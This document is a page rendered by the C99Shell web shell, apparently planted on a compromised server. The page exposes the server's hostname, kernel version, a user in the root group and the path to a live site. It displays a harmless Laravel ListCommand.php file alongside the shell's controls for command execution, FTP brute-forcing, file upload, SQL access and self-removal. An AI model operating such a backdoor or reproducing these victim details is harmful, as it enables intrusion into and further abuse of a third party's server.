!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ListCommand.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Console\Command;
use 
Nwidart\Modules\Module;
use 
Symfony\Component\Console\Input\InputOption;

class 
ListCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:list';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Show list of all modules.';

    
/**
     * Execute the console command.
     */
    
public function handle() : int
    
{
        
$this->table(['Name''Status''Priority''Path'], $this->getRows());

        return 
0;
    }

    
/**
     * Get table rows.
     *
     * @return array
     */
    
public function getRows()
    {
        
$rows = [];

        
/** @var Module $module */
        
foreach ($this->getModules() as $module) {
            
$rows[] = [
                
$module->getName(),
                
$module->isEnabled() ? 'Enabled' 'Disabled',
                
$module->get('priority'),
                
$module->getPath(),
            ];
        }

        return 
$rows;
    }

    public function 
getModules()
    {
        switch (
$this->option('only')) {
            case 
'enabled':
                return 
$this->laravel['modules']->getByStatus(1);
                break;

            case 
'disabled':
                return 
$this->laravel['modules']->getByStatus(0);
                break;

            case 
'priority':
                return 
$this->laravel['modules']->getPriority($this->option('direction'));
                break;

            default:
                return 
$this->laravel['modules']->all();
                break;
        }
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'only''o'InputOption::VALUE_OPTIONAL'Types of modules will be displayed.'null],
            [
'direction''d'InputOption::VALUE_OPTIONAL'The direction of ordering.''asc'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--